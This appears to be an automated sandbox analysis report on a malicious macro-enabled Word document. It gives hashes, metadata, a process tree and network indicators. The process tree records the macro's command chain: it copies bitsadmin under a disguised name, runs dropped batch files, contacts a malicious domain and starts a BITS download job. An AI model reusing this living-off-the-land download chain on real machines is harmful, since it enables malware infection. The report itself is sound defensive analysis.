File name: | SecureMessage.docm |
Full analysis: | https://app.any.run/tasks/9483b935-fd03-4510-ab4e-3370777d55b2 |
Verdict: | Malicious activity |
Analysis date: | March 22, 2019, 09:06:10 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
File info: | Microsoft Word 2007+ |
MD5: | 095C4FD66987B268D1690059DEE9CDE4 |
SHA1: | BF5B0521515A31DC3EE70DF98A02CF93B67B529F |
SHA256: | A6BC9CBFA4C7C85D2434395D884991F708F784155E26370DF8DB046B3FEAE02A |
SSDEEP: | 1536:2okVYIFnJRHU60S7QotsocLukQkFJq+NiwuwZmaBB8:KFJRjtsJQkCCuHP |
.docm | | | Word Microsoft Office Open XML Format document (with Macro) (53.6) |
---|---|---|
.docx | | | Word Microsoft Office Open XML Format document (24.2) |
.zip | | | Open Packaging Conventions container (18) |
.zip | | | ZIP compressed archive (4.1) |
ZipRequiredVersion: | 20 |
---|---|
ZipBitFlag: | 0x0006 |
ZipCompression: | Deflated |
ZipModifyDate: | 1980:01:01 00:00:00 |
ZipCRC: | 0x714a6bd3 |
ZipCompressedSize: | 433 |
ZipUncompressedSize: | 1685 |
ZipFileName: | [Content_Types].xml |
Template: | Normal.dotm |
---|---|
TotalEditTime: | 2 minutes |
Pages: | 1 |
Words: | 30 |
Characters: | 171 |
Application: | Microsoft Office Word |
DocSecurity: | None |
Lines: | 1 |
Paragraphs: | 1 |
ScaleCrop: | No |
HeadingPairs: |
|
TitlesOfParts: | - |
Company: | - |
LinksUpToDate: | No |
CharactersWithSpaces: | 200 |
SharedDoc: | No |
HyperlinksChanged: | No |
AppVersion: | 16 |
LastModifiedBy: | Пользователь Windows |
RevisionNumber: | 3 |
CreateDate: | 2019:03:11 17:58:00Z |
ModifyDate: | 2019:03:11 18:05:00Z |
Creator: | Tomas |
---|
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2212 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\SecureMessage.docm" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
3280 | "C:\Windows\System32\cmd.exe" cmd /r cmd /c copy /Y /V %windir%\system32\bitsadmin.exe %temp%\0dEl!{V.exe && %temp%\velofiba2.bat && %temp%\velofiba3.bat && %temp%\velofiba4.bat | C:\Windows\System32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3764 | cmd /c copy /Y /V C:\Windows\system32\bitsadmin.exe C:\Users\admin\AppData\Local\Temp\0dEl!{V.exe | C:\Windows\system32\cmd.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2460 | cmd /r cmd /c ping -n 2 pamelaannspantry.com | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2576 | cmd /c ping -n 2 pamelaannspantry.com | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2936 | ping -n 2 pamelaannspantry.com | C:\Windows\system32\PING.EXE | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2640 | cmd /r cmd /c C:\Users\admin\AppData\Local\Temp\0dEl!{V /reset | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1284 | cmd /c C:\Users\admin\AppData\Local\Temp\0dEl!{V /reset | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2852 | C:\Users\admin\AppData\Local\Temp\0dEl!{V /reset | C:\Users\admin\AppData\Local\Temp\0dEl!{V.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7601.17514 (win7sp1_rtm.101119-1850) | ||||
4016 | C:\Users\admin\AppData\Local\Temp\0dEl!{V /CREATE /DOWNLOAD Taur | C:\Users\admin\AppData\Local\Temp\0dEl!{V.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR96D8.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C83A4960.png | — | |
MD5:— | SHA256:— | |||
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8E91F9E1.gif | — | |
MD5:— | SHA256:— | |||
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFEA818354DD9DCE62.TMP | — | |
MD5:— | SHA256:— | |||
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF3CCB2BDC9D310BA3.TMP | — | |
MD5:— | SHA256:— | |||
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1585BEFD-3DB5-49BC-8F6F-D5236CDC1A40}.tmp | — | |
MD5:— | SHA256:— | |||
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{79D0D1AD-D394-4288-8013-58CF77D6D807}.tmp | — | |
MD5:— | SHA256:— | |||
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF6A923C41AC815326.TMP | — | |
MD5:— | SHA256:— | |||
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{49C2AC61-CFFC-4C16-9403-FA8A38746251}.tmp | — | |
MD5:— | SHA256:— | |||
2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:0637899CFE16AC25332307414734EE01 | SHA256:2414E71FC25ABB045CEEFEC77BD30124D20C1D026935B65567DBA7BC0DF45E9A |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
— | — | HEAD | 404 | 184.107.130.34:80 | http://oneentertainment.ca/shh.sshh | CA | — | — | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 184.107.130.34:80 | oneentertainment.ca | iWeb Technologies Inc. | CA | suspicious |
Domain | IP | Reputation |
---|---|---|
pamelaannspantry.com |
| malicious |
oneentertainment.ca |
| suspicious |